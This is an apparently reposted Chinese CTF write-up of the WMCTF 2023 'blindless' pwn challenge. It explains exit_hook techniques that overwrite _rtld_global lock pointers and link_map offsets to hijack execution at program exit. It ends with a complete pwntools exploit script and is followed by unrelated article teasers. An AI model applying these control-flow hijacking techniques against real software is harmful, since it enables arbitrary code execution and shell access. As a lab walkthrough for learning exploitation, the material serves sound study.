内存利用:迟来的blindless与逃不掉的exit漏洞

news2024/10/1 15:13:32

0x01 前言

在计算机安全领域,漏洞的危险性往往与其广泛性和潜在攻击方式密切相关。今天,我们将深入探讨一个异常危险的漏洞,它存在于程序退出时执行的常见函数"exit"中。无论是在操作系统还是应用程序中,"exit"都是一个普遍存在的函数,通常用于正常退出程序。但这种普遍性也使得它成为了潜在的攻击目标。

这个漏洞的威胁性在于,它不仅存在于各种程序中,而且有多种潜在的攻击方式。攻击者可以通过利用这一漏洞来执行恶意代码,获取系统权限,或者实施其他恶意行为。要理解这个漏洞的威胁,我们需要深入分析其背后的原理以及不同的利用方式。

在本文中,我们将探讨这个漏洞的具体情况,并详细分析了两种主要的利用方式:一种是将程序流转向libc库中的函数,另一种是将程序流转向程序本身的代码段。我们将深入研究这两种攻击方式的原理,并展示了一个实际漏洞利用的示例。

"blindless"是来自WMCTF 2023比赛的一个题目,虽然难度不高,但要深入理解并利用其中的漏洞,需要花费大量时间。本文总结了有关"exit_hook2libc"和"exit_hook2elf"的利用方法,旨在分享给大家学习。这题的关键是深入理解程序退出时执行的"exit"函数,以及如何通过不同方式实现漏洞利用。

0x02 exit_hook的n种姿势


基地址放在此处供各位参考一下,用于计算指令偏移。

exit_hook2libc

首先是p &_rtld_global(看地址),他有一个rtld_lock_default_lock_recursivertld_lock_default_unlock_recursive的元素可以改来调用。

注意一定要用docker或者虚拟机,否则没有符号表会特别坐牢!

执行p _rtld_global。看到那两个rtld_lock_default_lock_recursivertld_lock_default_unlock_recursive吗,就是他们两个。我们可以修改他们的内容,从而作为exithook进行调用(直接call)。把后面的东西复制过来p &xxx就可以查看其地址了。


注意看,这个程序叫小帅,他调用的第一个参数就是rdi,是_rtld_global+2312,我们可以控制他的参数为/bin/sh\x00然后做坏坏的事情(如果能把rtld_lock_default_lock_recursive也改成system的话)。


然后rtld_lock_default_unlock_recursive的参数也是2312这个偏移。

注意这个2312是十进制。


好的,我们就修改这两个地方就可以为所欲为了,但是exit_hook到这里还没完。

并且严格来说,这里并不是完全的exit_hook2libc,如果知道elf的地址也完全可以返回到elf上的函数。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

接下来还有更骚的,可以控制到程序上的地址(直接跳转,或者间接取地址跳转。)

exit_hook2elf

1.间接call

这个在这里,第一个是间接call,即指令是call qword ptr [寄存器],意思就是从寄存器的地址指向的内存里取地址,然后call。

对于间接call的利用,我们可以修改他的偏移到任意函数got表,然后配合参数rdi_rtld_global+2312使用。

例如修改_rtld_global+2312为"/bin/sh\x00"


这个的基地址和偏移是存在于link_map的,这样可以找到他的地址。


调试可以看到他会从这个地址的内存中取elf基地址,然后通过link_map地址+0x110存的地址取偏移。我们可以改基地址也可以选择改偏移。
link_map地址+0x110是存第一个间接call的偏移的。

注意存的是偏移-8的地址,也就是如果要改的话要改成目标-8。

2.直接call

link_map地址+0xa8是存第二个直接call的偏移

注意存的是偏移-8的地址,也就是如果要改的话要改成目标-8。

如果改偏移的话能改最好,还能直接形成调用链子。但是如果没有偏移,就只能改基地址了——也就是p &l出来那儿。但是这样肯定会损坏第一次call r14的,会导致无法正常进行。

但是发现有一个地方判断可以跳过call r14

就是这里,test edx,edx是edx和edx相互and,留下标志位。简单来说就是如果是0,那么不跳转。如果是1,那么跳转。

在x86汇编中,je 指令的作用是:

  1. 检查零标志位(ZF)是否被设置为 1。
  2. 如果零标志位被设置为 1,将进行跳转到指定的目标位置。

回溯发现是从link_map+0x120取来的地址,也就是说想要这里为0,就把那里的地址指向为0的地方即可!不过也要注意,这里取的是地址+8,也就是我们要改成目标地址-8改进去。这里直接找bss段之类的即可。

完成这个操作,就可以修改基地址达到任意直接call的效果了!即使没有泄露,也可直接返回到程序上(比如此题有后门)。如果有,那就是为所欲为!(和前面一样,如果有泄露真的就是为所欲为了)。

0x03 exp

那么本题目由于有brainfuck函数可以执行任意地址写,则根据前面的exit_hook可以做到提权。

from pwn import *


n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
rl  = lambda     :p.recvline()
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

while True:

        context(os='linux', arch='amd64', log_level='debug')
        p = process('./main')
        context.terminal = ['tmux','new-window' ,'-n','-c']
        #gdb.attach(p)
        sla('ze',b'-10')#分配到libc上(用mmap)
        sla('ze',b'256')

        pay = b'@'+p32(2148618432)#到ld的地址+0x2f190的偏移
        pay += b'@'+p32(2148618432)
        pay +=b'.' + b'\xb1'
        pay += b'>.' + b'\x7c'#使得加了偏移之后是后门函数地址
        pay += b'@'+p32(0x11f)#修改0x120的地址,指向0,跳过call r14
        pay +=b'.' + b'\x00'
        pay += b'q'
        sla('code\n',pay)

        re = p.recvrepeat(0.1)#一直接收直到有回显
        #如果是system的话可以发一个cat flag再这样
        #这是个很好的爆破方式,学习学习
        if re:
            print('pwned!get your flag here:',re)
            exit(0)
        p.close()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1024946.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Vue.js】快速入门与工作生命周期的使用

🎬 艳艳耶✌️:个人主页 🔥 个人专栏 :《Spring与Mybatis集成整合》 《springMvc使用》 ⛺️ 生活的理想,为了不断更新自己 ! 目录 ​编辑 1.Vue是什么 2.Vue的特点及优势 3. 使用Vue的详细步骤 3.1.导入 3.2…

资源超分是什么?

经常听到资源超分,但是具体指的什么还不清楚,哪里来的术语 https://www.modb.pro/db/199368 3.超线程技术管理及如何开启 超线程是intel研发的技术,利用特殊的硬件指令,把一个物理CPU核模拟成两个逻辑内核&#xff…

点成案例丨温度梯度培养箱在探究温度对植物发芽影响中的应用

变暖的气候与受影响的种子 全球变暖是指由于人类工业化和燃烧化石燃料等活动释放了大量温室气体,这些气体进入大气层导致地球气温在过去几十年里逐渐升高的现象。全球气候变暖带来了一系列严重的环境问题:温度升高导致冰川和极地冰层融化,海…

中秋节要来了,程序猿的你还要加班吗

其他人的中秋节是这样的: 明月松间照,清泉石上流。 程序猿的中秋节是这样的: 明月几时有?把酒问青天。 首先,跟大家开个玩笑。希望中秋节的你,不要加班,毕竟身体是革命的本钱嘛。 中秋&…

初识 python 装饰器

1.什么是装饰器? 装饰器(Decorator)是Python中一种用于修改函数或类的行为的设计模式。装饰器允许您在不修改原始函数或类的情况下,给它们添加新的功能,这使得代码更具可重用性和可扩展性。简而言之,就是一…

17.适配器模式(Adapter)

意图:将一个类的接口转换为Client希望的另一个接口,使得原本由于接口不兼容而不能一起工作的那些类在一起工作。 UML图 Target:定义Client使用的与特定领域相关的接口。 Client:与符合Target接口的对象协同工作。 Adaptee&#xf…

华为OD机试 - 求最多可以派出多少支团队 - 双指针(Java 2023 B卷 100分)

目录 专栏导读一、题目描述二、输入描述三、输出描述四、解题思路五、Java算法源码六、效果展示1、输入2、输出3、说明 华为OD机试 2023B卷题库疯狂收录中,刷题点这里 专栏导读 本专栏收录于《华为OD机试(JAVA)真题(A卷B卷&#…

Linux提权辅助工具Linux Exploit Suggester

Linux提权辅助工具Linux Exploit Suggester 1.概述2.工具使用3.已经有人二开了 1.概述 Linux Exploit Suggester是一款根据操作系统版本号自动查找相应提权脚本的工具 Linux Exploit Suggester的官方下载地址为https://github.com/PenturaLabs/Linux_Exploit_Suggester 2.工具…

Linux内核源码分析 (B.4) 深度剖析 Linux 伙伴系统的设计与实现

Linux内核源码分析 (B.4) 深度剖析 Linux 伙伴系统的设计与实现 文章目录 1\. 伙伴系统的核心数据结构2\. 到底什么是伙伴3\. 伙伴系统的内存分配原理4\. 伙伴系统的内存回收原理5\. 进入伙伴系统的前奏5.1 获取内存区域 zone 里指定的内存水位线5.2 检查 zone 中剩余内存容量…

基于Java的公务员考试资料共享平台的设计与实现

前言 💗博主介绍:✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战✌💗 👇🏻…

JavaScript中常用的输入输出语句介绍

在日常开发中,为了方便数据的输入和输出,JavaScript提供了一些常用的输入输出语句,具体如表1-3所示。 表1常用的输入输出语句 接下来将分别演示document.write0、console.log0和promptO的使用。 1. document.write() document.write0的输出…

mysql大数据量 分页查询优化

最近我老表问我一个面试问题,如果数据量很大,分页查询怎么优化。 个人觉得无非就是sql优化, 那无非就是走索引, 避免回表查询(覆盖索引,也就是不要用select * ,走主键索引,叶子节点有…

基础算法--双指针算法

双指针算法 1.基本介绍 严格的来说,双指针只能说是是算法中的一种技巧。 双指针指的是在遍历对象的过程中,不是普通的使用单个指针进行访问,而是使用两个相同方向(快慢指针)或者相反方向(对撞指针&#…

起底交易所JPEX:传销、诈骗,网红编织的香港加密新规第一案

香港的加密之火还在萌芽,就被迎头浇了一桶透心凉的冷水。 9月13日,香港证监会罕见点名一家虚拟资产平台JPEX,这也是自香港加密新规后,首个遭到红牌警告的虚拟资产交易所。 据证监会官网内容,JPEX通过社交媒体网红及场外…

MySQL进阶篇3-视图和存储过程以及触发器的学习使用

视图/存储过程(函数)/触发器 视图:由表动态生成,虚拟的表,保存的是sql的逻辑。 创建视图: ​ create [or replace] view viewName【列名列表】 as select 语句 [with [cascaded|local] check option] 修…

开源日报 0823 | NLP 民工的乐园:中文 NLP 资源库的终极指南

文章中介绍了几个非常有用的开源项目,适用于不同领域的开发者和研究者。其中,NLP 民工的乐园是一个非常全面的中文 NLP 资源库,提供了丰富的语料库、词库、词法工具和预训练语言模型,适用于不同的 NLP 相关任务。Poetry 是一个简化…

TOWE一转二家用无线遥控插座,让生活变得简单

随着科技的进步,人们的生活方式正在发生改变,越来越多的智能家居产品进入我们的生活中,为我们的生活带来了极大的便利。无线遥控插座作为一种集成了无线遥控技术与插座功能的创新产品,在家庭、办公、商业场景有着广泛的应用。同为…

q-learning强化学习使用基础

强化学习 通过策略的方式来学习,q-learing(马尔科夫链模型) 马尔科夫链:奖励*折扣因子,R(t)reward(1)yR(t1),马尔可夫链多次迭代后分布趋于稳定所以可以得到最优解 q-learning 构建qtable,二…

亿发2023智能ERP生产系统解决方案实施,规范中大型企业生产精细化

随着制造水平的不断增强,传统工厂的管理方式已经不能满足现代制造的要求。为了确保公司战略目标的实现,中大型制造企业需要借助信息技术来强化对业务流程的管理,而生产制造ERP系统的实施已成为企业走向信息化的关键战略环节。 工厂信息化建设…

YOLOv5算法改进(19)— 更换NMS(DIoU-NMS、CIoU-NMS、EIoU-NMS、GIoU-NMS 、SIoU-NMS和Soft-NMS)

前言:Hello大家好,我是小哥谈。YOLOv5中的NMS指非极大值抑制(Non-Maximum Suppression),它是一种用于目标检测算法中的后处理技术。在检测到多个重叠的边界框时,NMS可以帮助选择最佳的边界框。NMS的工作原理…